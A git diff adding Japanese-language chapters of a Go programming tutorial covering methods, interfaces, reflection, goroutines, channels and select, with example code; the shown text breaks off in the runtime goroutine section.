+下の図で示すように、楕円が関数を表しています。これらの関数はstructに属していない(またはオブジェクト指向の専門用語でclassに属していないといいます)ので、structの外側に単独で存在しており、概念上どのstructにも属していないことになります。 + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +図2.8 メソッドとstructの関係図 + +明らかにこのような実現方法はエレガントではありません。それに概念からしても"面積"は"形状"の一属性です。これはある特定の形状に属しています。長方形の縦と横と同じようなものです。 + +このような理由から`method`の概念が生まれました。`method`はある型の上に付属しています。この文法と関数の宣言の文法はほとんど同じです。ただ、`fenc`の後にreceiver(methodがくっついているということです。)を追加します。 + +上で述べた形状の例からすると、method `area()` はある形状(たとえばRectangle)に由来して発生しています。Rectangle.area()の主語はRectangle、area()はRectangleに属するメソッドで外側の関数ではありません。 + +より具体的に述べると、Rectangleにはフィールドlengthとwidthが存在します。同時にarea()メソッドが存在します。これらのフィールドとメソッドは共にRectangleに属しています。 + +Rob Pikeの言葉を借りると: + +>"A method is a function with an implicit first argument, called a receiver." + +methodの文法は以下のとおりです: + + func (r ReceiverType) funcName(parameters) (results) + +はじめの例をとってmethodを実現してみます: + + package main + import ( + "fmt" + "math" + ) + + type Rectangle struct { + width, height float64 + } + + type Circle struct { + radius float64 + } + + func (r Rectangle) area() float64 { + return r.width*r.height + } + + func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi + } + + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) + } + + + +methodを使う時にはいくつか注意が必要です。 + +- methodは名前はまったく同じといってもレシーバが異なればmethodも異なります。 +- methodはレシーバのフィールドにアクセスすることができます。 +- methodのコールは`.`を通じてアクセスします。structがフィールドにアクセスするのと同じです。 + +図解: + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +図2.9 異なるstructのmethodは異なる。 + +上の例では method area() はそれぞれRectangleとCircleに属します。この時これらの Receiver は Rectangle と Circleになります。またはこのarea()メソッドはRectangle/Circleを主語とします。 + +>特に、図中のmethodは破線で表示しています。これは、このメソッドのレシーバは値渡しであり、参照渡しではありません。そうです。レシーバはポインタでもいいのです。両者の違いはポインタはレシーバがエンティティの内容に操作を行うことがあるのに対し、普通の型ではレシーバは操作するオブジェクトのコピーでしかありません。オリジナルのエンティティに対して操作が発生しないのです。詳細は後述します。 + +methodはstructの上でしか使用されないのでしょうか?当然違います。これはカスタム定義型、ビルトイン型、structなどあらゆる型でも定義することができます。ちょっとよくわからなくなってきましたか?何がカスタム定義型だ、カスタム定義型はstructじゃないのか。そういうわけではありません。structはカスタム定義型のなかでも比較的特殊な型であるだけです。下のような宣言で実現します。 + + type typeName typeLiteral + +以下のカスタム定義型の宣言のコードをご覧ください。 + + type ages int + + type money float32 + + type months map[string]int + + m := months { + "January":31, + "February":28, + ... + "December":31, + } + +わかりましたか?簡単でしょう?このように自分のコードの中に意味のある型を定義することができるのです。実際はエイリアスを定義しているだけです。Cのtypedefににたようなもので、例えば上のagesはintの代わりになっています。 + +それじゃあ、`method`にもどりましょう。 + +カスタム定義型の中で任意の`method`を定義することができます。次にちょっと複雑な例を見てみましょう。 + + package main + import "fmt" + + const( + WHITE = iota + BLACK + BLUE + RED + YELLOW + ) + + type Color byte + + type Box struct { + width, height, depth float64 + color Color + } + + type BoxList []Box //a slice of boxes + + func (b Box) Volume() float64 { + return b.width * b.height * b.depth + } + + func (b *Box) SetColor(c Color) { + b.color = c + } + + func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if bv := b.Volume(); bv > v { + v = bv + k = b.color + } + } + return k + } + + func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } + } + + func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] + } + + func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) + } + +上のコードはconstでいくつかの定数を定義しています。その後カスタム定義型を定義しています。 + +- Colorはbyteのエイリアスです。 +- struct:Boxを定義します。3つの縦横高さのフィールドと色プロパティを持っています。 +- slice:BoxListを定義します。Boxを持っています。 + +次に上のカスタム定義型をレシーバとしてmethodを定義します。 + +- Volume()はレシーバをBoxとして定義します。Boxの堆積を返します。 +- SetColor(c Color)はBoxの色をcに変更します。 +- BiggestsColor()はBoxListに定義されており、listの中の体積が最大の色を返します。 +- PointItBlack()はBoxListのすべてのBoxの色を全部黒に変更します。 +- String()はColorに定義されており、Colorno具体的な色を返します(文字列形式) + +上のコードは文字で書くと非常に簡単に思えませんか?私達は問題を解決する場合問題の描写を通して、対応するコードを書くことで実現します。 + +### ポインタとしてのreceiver +ではここで、SetColorのメソッドを見なおしてみましょう。このreceiverはBoxのポインタをさしています。そうです。*Boxを使えるのです。どうしてBox本体ではなくポインタを使うのでしょうか? + +SetColorを定義した本当の目的はこのBoxの色を変更することです。もしBoxのポインタを渡さなければ、SetCororが受け取るのは実はBoxのコピーになってしまいます。つまり、メソッド内で色の変更を行うと、Boxのコピーを操作しているだけで、本当のBoxではないのです。そのため、ポインタを渡す必要があります。 + +ここではreceiverをメソッドの第一引数にました。こうすれば前の関数で説明した値渡しと参照渡しも難しくなくなるでしょう。 + +もしかしたらSetColor関数の中で以下のように定義すべきじゃないかと思われたかもしれません。`*b.Color=c`、ところが`b.Color=c`でよいのです。ポインタに対応する値を読み込むことが必要ですから。 + +そのとおりです。Goの中ではこの2つの方法はどちらも正しいのです。ポインタを使って対応するフィールドにアクセスした場合(ポインタになんのフィールドがなかったとしても)、Goはあなたがポインタを通してその値を必要としていることを知っています。どうです。Goのデザインに魅了されてきたんじゃないですか? + +注意深い読者はこのように思うかもしれません。PointItBlackの中でSetColorをコールした時、ひょっとして`(&bl[i]).SetColor(BLACK)`と書かなければならないんじゃないかと。SetColorのreceiverは*Boxであり、Boxではありませんから。 + +ええ、その通りなんです。この2つの方法はどちらでもかまいません。Goはreceiverがポインタであることを知っています。こいつは自動的に解釈してくれるのです。 + +つまり: +>もしメソッドのreceiverが*Tであれば、T型のエンティティの変数V上でこのメソッドをコールすることができます。&Vによってメソッドをコールする必要はありません。 + +同じように +>もしメソッドのreceiverがTであれば、*T型の変数P上でこのメソッドをコールすることができます。*Pを使ってメソッドをコールする必要はありません。 + +ですので、コールしているポインタのメソッドがポインタのメソッドであるかどうかは気にする必要がありません。Goはあなたが行おうとしているすべてのことを知っているのです。C/C++でプログラムを経験されてこられた方にとっては、とてもとても大きな苦痛が解決されることでしょう。 + +### method継承 +前の章でフィールドの継承を学びました。するとあなたはGoの不思議なところに気がついたかもしれません。methodも継承できるのです。もし匿名フィールドが一つのメソッドを実現している場合、この匿名フィールドを含むsturctもこのメソッドをコールすることができるのです。例をお見せします。 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名フィールド + school string + } + + type Employee struct { + Human //匿名フィールド + company string + } + + //human上でメソッドを定義 + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +### methodの書き直し +上の例で、もしEmployeeにSayHiを実現したい場合はどうすればよいでしょうか?簡単です。匿名フィールドの衝突と同じ道理で、Employee上でもメソッドを定義することができます。匿名フィールドを書き直す方法は下の例をご確認ください。 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名フィールド + school string + } + + type Employee struct { + Human //匿名フィールド + company string + } + + //Humanでmethodを定義 + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + //EmployeeのmethodでHumanのmethodを書き直す。 + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +上のコードのデザインはこのように絶妙です。Goのデザインに驚くことでしょう。 + +このように、基本的なオブジェクト指向のプログラムを設計することができます。ですが、Goのオブジェクト指向はこのように簡単です。プライベートやパブリックといったキーワードは出てきません。大文字と小文字によって実現しているのです(大文字で始まるものはパブリック、小文字で始まるものはプライベートです)、メソッドにも同じルールが適用されます。 +## links + * [目次]() + * 前へ: [struct型](<02.4.md>) + * 次へ: [interface](<02.6.md>) diff --git a/ja/ebook/02.6.md b/ja/ebook/02.6.md new file mode 100644 index 00000000..7c66f9fb --- /dev/null +++ b/ja/ebook/02.6.md @@ -0,0 +1,395 @@ +# 2.6 interface + +## interface +Goではとても繊細なinterfaceと呼ぶべき設計があります。これはオブジェクト指向と内容構成にとって非常に便利です。この章を終わった時にはあなたはinterfaceの巧妙な設計に感服することでしょう。 +### interfaceとは何か +簡単にいえば、interfaceはmethodの組み合わせです。interfaceを通してオブジェクトの振る舞いを定義することができます。 + +前の章の最後の例でStudentとEmployeeはどちらもSayHiを持っていました。彼らの内部処理は異なりますが、それは重要ではありません。重要なのは彼らがどちらも`say hi`と言えることです。 + +続けてさらに拡張していきましょう。StudentとEmployeeで他のメソッド`Sing`を実現します。その後StudentはBorrowMoneyメソッドを追加してEmployeeはSpendSalaryを追加しましょう。 + +Studentには3つのメソッドがあることになります:SayHi、Sing、BorrowMoneyです。EmployeeはSayHi、Sing、SpendSalaryです。 + +上のような組み合わせをinterface(オブジェクトStudentとEmployeeに追加されます)と言います。例えばStudentとEmployeeでどちらもinterfaceであるSayHiとSingを実装します。この2つのオブジェクトはこのinterface型です。EmployeeはこのinterfaceであるSayHi、SingとBorrowMoneyは実装しません。EmployeeはBorrowMoneyメソッドを実装しないからです。 +### interface型 +interface型ではメソッドのセットを定義します。もしあるオブジェクトがインターフェースとなるすべてのメソッドを実装するとしたら、このオブジェクトはこのインターフェースを実装することになります。細かい文法は下の例を参考にしてください。 + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名フィールドHuman + school string + loan float32 + } + + type Employee struct { + Human //匿名フィールドHuman + company string + money float32 + } + + //HumanオブジェクトにSayHiメソッドを実装します。 + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + // HumanオブジェクトにSingメソッドを実装します。 + func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) + } + + //HumanメソッドにGuzzleメソッドを実装します。 + func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) + } + + // EmployeeはHumanのSayHiメソッドをオーバーロードします。 + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //この行は複数に渡ってもかまいません。 + } + + //StudentはBorrowMoneyメソッドを実装します。 + func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) + } + + //EmployeeはSpendSalaryメソッドを実装します。 + func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! + } + + // interfaceを定義します。 + type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) + } + + type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) + } + + type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) + } + +上のコードを通して、interfaceは任意のオブジェクトで実装できることがわかるかと思います。上のMen interfaceはHuman、Student及びEmployeeによって実装されます。例えばStudentはMenとYoungChapの2つのinterfaceを実装することになります。 + +最後に、任意の型は空のinterface(ここではinterface{}と定義しましょう)を実装しています。これには0個のメソッドが含まれるinterfaceです。 + +### interfaceの値 +では、interfaceの中には一体どのような値が存在しているのでしょうか。もし我々がinterfaceの変数を定義すると、この変数にはこのinterfaceの任意の型のオブジェクトを保存することができます。上の例でいえば、我々はMen interface型の変数mを定義しました。このmにはHuman、StudentまたはEmployeeの値を保存できます。 + +mは3つの型を持つことのできるオブジェクトなので、Men型の要素を含むsliceを定義することができます。このsliceはMenインターフェースの任意の構造のオブジェクトを代入することができます。このsliceともともとのsliceにはいくつか違いがあります。 + +次の例を見てみましょう。 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名フィールド + school string + loan float32 + } + + type Employee struct { + Human //匿名フィールド + company string + money float32 + } + + //HumanにSayHiメソッドを実装します。 + func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + //HumanにSingメソッドを実装します。 + func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) + } + + //EmployeeはHumanのSayHiメソッドをオーバーロードします。 + func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) + } + + // Interface MenはHuman,StudentおよびEmployeeに実装されます。 + // この3つの型はこの2つのメソッドを実装するからです。 + type Men interface { + SayHi() + Sing(lyrics string) + } + + func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + //Men型の変数iを定義します。 + var i Men + + //iにはStudentを保存できます。 + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //iにはEmployeeを保存することもできます。 + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + //sliceのMenを定義します。 + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + //この3つはどれも異なる要素ですが、同じインターフェースを実装しています。 + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } + } + +上のコードで、interfaceはメソッドの集合を抽象化したものだとお分かりいただけるとおもいます。他のinterfaceでない型によって実装されなければならず、自分自身では実装することができません。Goはinterfaceを通してduck-typingを実現できます。すなわち、"鳥の走る様子も泳ぐ様子も鳴く声もカモのようであれば、この鳥をカモであると呼ぶことができる"わけです。 + +### 空のinterface +空のinterface(interface{})にはなんのメソッドも含まれていません。この通り、すべての型は空のinterfaceを実装しています。空のinterfaceはそれ自体はなんの意味もありません(何のメソッドも含まれていませんから)が、任意の型の数値を保存する際にはかなり役にたちます。これはあらゆる型の数値を保存することができるため、C言語のvoid*型に似ています。 + + // aを空のインターフェースとして定義 + var a interface{} + var i int = 5 + s := "Hello world" + // aは任意の型の数値を保存できます。 + a = i + a = s + +ある関数がinterface{}を引数にとると、任意の型の値を引数にとることができます。もし関数がinterface{}を返せば、任意の型の値を返すことができるのです。とても便利ですね! +### interface関数の引数 +interfaceの変数はこのinterface型のオブジェクトを持つことができます。これにより、関数(メソッドを含む)を書く場合思いもよらない思考を与えてくれます。interface引数を定義することで、関数にあらゆる型の引数を受けさせることができるです。 + +例をあげましょう:fmt.Printlnは私達がもっともよく使う関数です。ですが、任意の型のデータを受けることができる点に気づきましたか。fmtのソースファイルを開くとこのような定義が書かれています: + + type Stringer interface { + String() string + } +つまり、Stringメソッドを持つ全ての型がfmt.Printlnによってコールされることができるのです。ためしてみましょう。 + + package main + import ( + "fmt" + "strconv" + ) + + type Human struct { + name string + age int + phone string + } + + // このメソッドを使ってHumanにfmt.Stringerを実装します。 + func (h Human) String() string { + return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" + } + + func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) + } +前のBoxの例を思い出してみましょう。Color構造体もメソッドを一つ定義しています:String。実はこれもfmt.Stringerというinterfaceを実装しているのです。つまり、もしある型をfmtパッケージで特殊な形式で出力させようとした場合Stringerインターフェースを実装する必要があります。もしこのインターフェースを実装していなければ、fmtはデフォルトの方法で出力を行います。 + + //同じ機能を実装します。 + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + fmt.Println("The biggest one is", boxes.BiggestsColor()) + +注:errorインターフェースのオブジェクト(Error() stringのオブジェクトを実装)を実装します。fmtを使って出力を行う場合、Error()メソッドがコールされます。そのため、String()メソッドを再定義する必要はありません。 +### interface変数を保存する型 + +interfaceの変数の中にはあらゆる型の数値を保存できることを学びました(この型はinterfaceを実装しています)。では、この変数に実際に保存されているのはどの型のオブジェクトであるかどのように逆に知ることができるのでしょうか?現在二種類の方法があります: + +- Comma-okアサーション + + Go言語の文法では、ある変数がどの型か直接判断する方法があります: value, ok = element.(T), ここでvalueは変数の値を指しています。okはbool型です。elementはinterface変数です。Tはアサーションの型です。 + + もしelementにT型の数値が存在していれば、okにはtrueが返されます。さもなければfalseが返ります。 + + 例を見ながら詳しく理解していきましょう。 + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List [] Element + + type Person struct { + name string + age int + } + + //Stringメソッドを定義します。fmt.Stringerを実装します。 + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } + } + + とても簡単ですね。前のフローの項目の際にご紹介したとおり、いくつもifの中で変数の初期化が許されているのにお気づきでしょうか。 + + また、アサーションの型が増えれば増えるほど、ifelseの数も増えるのにお気づきかもしれません。下ではswitchをご紹介します。 +- switchテスト + + コードの例をお見せしたほうが早いでしょう。上の実装をもう一度書きなおしてみます。 + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List [] Element + + type Person struct { + name string + age int + } + + //プリント + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list{ + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } + } + + ここで強調したいのは、`element.(type)`という文法はswitchの外のロジックで使用できないということです。もしswitchの外で型を判断したい場合は`comma-ok`を使ってください。 + +### 組み込みinterface +Goが本当に魅力的なのはビルトインのロジック文法です。Structを学んだ際の匿名フィールドはあんなにもエレガントでした。では同じようなロジックをinterfaceに導入すればより完璧になります。もしinterface1がinterface2の組み込みフィールドであれば、interface2は暗黙的にinterface1のメソッドを含むことになります。 + +ソースパッケージのcontainer/heapの中にこのような定義があるのを確認できると思います。 + + type Interface interface { + sort.Interface //組み込みフィールドsort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop elements that pops elements from the heap + } + +sort.Interfaceは実は組み込みフィールドです。sort.Interfaceのすべてのメソッドを暗黙的に含んでいます。つまり以下の3つのメソッドです。 + + type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) + } + +もう一つの例はioパッケージの中にある io.ReadWriterです。この中にはioパッケージのReaderとWriterの2つのinterfaceを含んでいます: + + // io.ReadWriter + type ReadWriter interface { + Reader + Writer + } + +### リフレクション +Goはリフレクションを実装しています。いわゆるリフレクションとは動的な実行時の状態です。私達が一般的に使用しているパッケージはreflectパッケージです。どのようにreflectパッケージを使うかはオフィシャルのドキュメントに詳細な原理が説明されています。[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html) + +reflectを使うには3つのステップに分けられます。下で簡単にご説明します:リフレクションは型の値(これらの値はすべて空のインターフェースを実装しています。)。まずこれをreflectオブジェクトに変換する必要があります(reflect.Typeまたはreflect.Valueです。異なる状況によって異なる関数をコールします。)この2つを取得する方法は: + + t := reflect.TypeOf(i) //元データを取得します。tを通して型定義の中のすべての要素を取得することができます。 + v := reflect.ValueOf(i) //実際の値を取得します。vを通して保存されている中の値を取得することができます。値を変更することもできます。 + +reflectオブジェクトに変換した後、何かしらの操作を行うことができます。つまり、reflectオブジェクトを対応する値に変換するのです。例えば + + tag := t.Elem().Field(0).Tag //structの中で定義されているタグを取得する。 + name := v.Elem().Field(0).String() //はじめのフィールドに保存されている値を取得する。 + +reflectの値を取得することで対応する型と数値を返すことができます。 + + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + +最後にリフレクションを行ったフィールドは修正できる必要があります。前で学んだ値渡しと参照渡しも同じ道理です。リフレクションのフィールドが必ず読み書きできるということは、以下のように書いた場合、エラーが発生するということです。 + + var x float64 = 3.4 + v := reflect.ValueOf(x) + v.SetFloat(7.1) + +もし対応する値を変更したい場合、このように書かなければなりません。 + + var x float64 = 3.4 + p := reflect.ValueOf(&x) + v := p.Elem() + v.SetFloat(7.1) + +上はリフレクションに対する簡単なご説明ではありますが、より深い理解には実際のプログラミングで実践していく他ありません。 + +## links + * [目次]() + * 前へ: [オブジェクト指向](<02.5.md>) + * 次へ: [マルチスレッド](<02.7.md>) diff --git a/ja/ebook/02.7.md b/ja/ebook/02.7.md new file mode 100644 index 00000000..eb972463 --- /dev/null +++ b/ja/ebook/02.7.md @@ -0,0 +1,239 @@ +# 2.7 マルチスレッド + +Goを21世紀のC言語だという人もいます。Go言語は設計が簡単で、21世紀で最も重要なのはマルチスレッドだからです。Goは言語レベルでマルチスレッドをサポートしています。 + +## goroutine + +goroutineはGoのマルチスレッドのコアです。goroutineは実は最初から最後までスレッドです。しかしスレッドよりも小さく、十数個のgoroutineは低レイヤーで5,6個のスレッドを実現しているだけです。Go言語の内部ではこれらのgoroutineの間ではメモリの共有を実現しています。goroutineを実行するには非常に少ないスタックメモリ(大体4~5KBです。)を必要とするだけです。当然対応するデータによって伸縮しますが、まさにこのためいくつものマルチスレッドタスクを実行することができます。goroutineはthreadに比べより使いやすく、効果的で、便利です。 + +goroutineはGoのruntime管理を利用したスレッドコントローラです。goroutineは`go`キーワードによって実現します。実は単なる普通の関数です。 + + go hello(a, b, c) + +キーワードgoを通じてgoroutineを起動します。例を見てみましょう。 + + package main + + import ( + "fmt" + "runtime" + ) + + func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } + } + + func main() { + go say("world") //新しいGoroutinesを実行する。 + say("hello") //現在のGoroutines実行 + } + + 出力: + hello + world + hello + world + hello + world + hello + world + hello + +goキーワードで非常に簡単にマルチスレッドプログラミングを実現することがお分かりいただけるかと思います。 +上の複数のgoroutineは同じプロセスで実行されています。メモリのデータを共有しますが、デザイン上共有を利用して通信を行ったりせず、通信によって共有を行うようにしましょう。 + +> runtime.Gosched()ではCPUに時間を他の人に受け渡します。次にある段階で継続してこのgoroutineを実行します。 + +>デフォルトでは、ディスパッチャはプロセスを使うのみで、マルチスレッドを実現するだけです。マルチコアプロセッサのマルチスレッドを実現したい場合は、我々のプログラムでruntime.GOMAXPROCS(n)をコールすることでディスパッチャに同時に複数のプロセスを使用させる必要があります。GOMAXPROCSは同時に実行するロジックコードのシステムプロセスの最大数を設定し、前の設定を返します。もしn < 1であった場合、現在の設定は変更されません。Goの新しいバージョンでディスパッチャが修正されれば、これは削除されるでしょう。Robによるマルチスレッドの開発についてはこちらに文章があります。http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide + +## channels +goroutineは同じアドレス空間で実行されます。そのため、共有されたメモリへのアクセスはかならず同期されていなければなりません。では、goroutineの間ではどのようにしてデータの通信を行うのでしょうか。Goはチャネルというとても良い通信機構を提供しています。チャネルはUnix shellとの双方向パイプを作成します。これを通して値を送信したり受信することができます。これらの値は特定の型のみが許容されます。チャネル型。channelを定義した場合チャネルに送信する値の型も定義しなければなりません。ご注意ください。かならずmakeを使ってchannelを作成します。 + + ci := make(chan int) + cs := make(chan string) + cf := make(chan interface{}) + +channelは`<-`演算子を使ってデータを送ったり受けたりします。 + + ch <- v // vをchannel chに送る。 + v := <-ch // chの中からデータを受け取り、vに代入する。 + +これを私達の例の中に当てはめてみましょう: + + package main + + import "fmt" + + func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c + } + + func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x + y) + } + +デフォルトでは、channelがやり取りするデータはブロックされています。もう片方が準備できていなければ、Goroutinesの同期はもっと簡単になります。lockを表示する必要はありません。いわゆるブロックとは、もし(value := <-ch)を読み取った場合、これはブロックされます。データを受け取った段階で(ch<-5)を送信するいずれのものもデータが読み込まれるまでブロックされます。バッファリングの無いchannelは複数のgoroutineの間で同期を行う非常に優れたツールです。 + +## Buffered Channels +上ではデフォルトでバッファリング型の無いchannelをご紹介しました。しかし、Goはchannelのバッファリングの大小も指定することを許しています。とても簡単です。つまりchannelはいくつもの要素を保存することができるのです。ch:= make(chan book, 4)は4つのbool型の要素を持てるchannelを作成します。このchannelの中で、前の4つの要素はブロックされずに入力することができます。5番目の要素が入力された場合、コードはブロックされ、その他のgoroutineがchannelから要素を取り出すまで空間を退避します。 + + ch := make(chan type, value) + + value == 0 ! バッファリング無し(ブロック) + value > 0 ! バッファリング(ブロック無し、value個の要素まで) + +下の例をご覧ください。ローカルでテストしてみることができます。対応するvalue値を変更してください + + + package main + + import "fmt" + + func main() { + c := make(chan int, 2)//2を1に修正するとエラーが発生します。2を3に修正すると正常に実行されます。 + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) + } + +## RangeとClose +上の例では、2回cの値を読み込む必要がありました。これではあまり便利ではありません。Goはこの点を考慮し、rangeによってsliceやmapを操作するのと同じ感覚でバッファリング型のchannelを操作することができます。下の例をご覧ください。 + + package main + + import ( + "fmt" + ) + + func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y + } + close(c) + } + + func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } + } + +`for i := range c`でこのchannelがクローズを明示されるまで連続してchannelの中のデータを読み込むことができます。上のコードでchannelのクローズが明示されているのが確認できるかと思います。生産者はキーワード`close`関数によってchannelを閉じます。channelを閉じた後はいかなるデータも送信することはできません。消費側は`v, ok := <-ch`という式でchannelがすでに閉じられているかテストすることができます。もしokにfalseが返ってきたら、channelはすでにどのようなデータも無く、閉じられているということになります。 + +>生産者の方でchannelが閉じられる事に注意してください。消費側ではありません。これは容易にpanicを引き起こします。 + +>また、channelはファイルのようなものでないことにも注意してください。頻繁に閉じる必要はありません。何のデータも送ることが無い場合またはrangeループを終了させたい場合などで結構です。 + +## Select +ここではひとつだけのchannelがある状況についてご紹介しました。では複数のchannelが存在した場合、どのように操作すべきでしょうか。Goではキーワード`select`を提供しています。`select`を通して、channel上のデータを監視することができます。 + +`select`はデフォルトでブロックされます。channelの中でやりとりされるデータを監視する時のみ実行します。複数のchannelの準備が整った時に、selectはランダムにひとつ選択し、実行します。 + + package main + + import "fmt" + + func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return + } + } + } + + func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) + } + +`select`の中にもdefault文があります。`select`は実はswitchの機能によくにています。defaultは監視しているchannelがどれも準備が整っていない時に、デフォルトで実行されます。(selectはchannelを待ってブロックしません。) + + select { + case i := <-c: + // use i + default: + // cがブロックされた時にここが実行されます。 + } + +## タイムアウト +ときどきgoroutineがブロックされる状況にでくわします。ではプログラム全体がブロックされる状況をどのように回避するのでしょうか?selectを使ってタイムアウトを設定することができます。下のような方法で実現します: + + func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <- o + } + + +## runtime goroutine +runtimeパッケージにはgoroutineを処理するいくつかの関数が含まれます: + +- Goexit + + 事前に実行されたgoroutineから抜けます。ただし、defer関数は継続してコールされます。 + +- Gosched + + 